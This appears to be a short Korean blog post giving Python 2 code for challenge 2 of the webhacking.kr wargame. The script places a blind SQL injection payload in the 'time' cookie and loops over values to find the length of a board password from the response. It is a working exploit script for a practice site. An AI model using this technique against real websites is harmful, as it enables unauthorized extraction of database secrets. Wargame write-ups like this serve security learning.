webhacking.kr 2번 문제 코드

일단 게시판의 비밀번호 길이를 구해보자.

import urllib2
import re
url = 'http://webhacking.kr/challenge/web/web-02/index.php'
cookie = 'time=1492865588 and (select length(password) from FreeB0aRd)='

for i in range(2, 15) :
    print(i)
    add = '%d; PHPSESSID=세션아이디입력' % i
    real_cookie = cookie + add
    request = urllib2.Request(url, None, {'Host': 'webhacking.kr', 'Cookie': real_cookie})
    data = urllib2.urlopen(request).read()
    find = re.findall("<!--2070-01-01 09:00:01-->",data)
    if find:
        print("pw : %d") % i
        break
f = open("response.html","w")
f.write(str(data))
f.close()